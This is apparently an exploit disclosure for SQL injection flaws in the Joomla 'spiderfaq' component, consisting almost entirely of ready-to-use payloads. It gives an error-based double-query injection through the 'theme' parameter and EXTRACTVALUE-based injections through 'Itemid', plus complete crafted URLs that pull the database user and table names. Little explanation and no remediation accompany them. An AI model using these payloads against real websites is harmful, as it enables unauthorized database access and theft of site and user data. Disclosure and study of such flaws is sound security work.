SQL Injection in theme parameter
=================================

Use error based double query injection with theme parameter
Like error based double query injection for exploiting username --->
and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - 

Injected Link--->
http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109


SQL Injection in Itemid parameter
=================================

Itemid Parameter is exploitable using xpath injection 

User extraction payload
------------------------
' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -

crafted URL--->
http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -

Table extraction
-----------------
' and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -

Crafted URL---->
http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -
